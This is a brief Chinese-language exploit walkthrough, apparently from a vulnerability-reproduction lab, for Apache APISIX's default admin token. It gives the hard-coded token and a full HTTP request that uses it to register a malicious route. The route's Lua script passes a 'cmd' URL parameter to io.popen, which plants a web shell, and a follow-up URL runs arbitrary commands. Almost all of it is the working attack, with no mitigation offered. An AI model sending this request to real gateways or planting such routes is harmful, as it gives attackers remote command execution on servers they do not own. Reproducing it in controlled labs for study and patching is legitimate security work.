Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。
1.利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
2.然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:
http://your-ip:9080/attack?cmd=id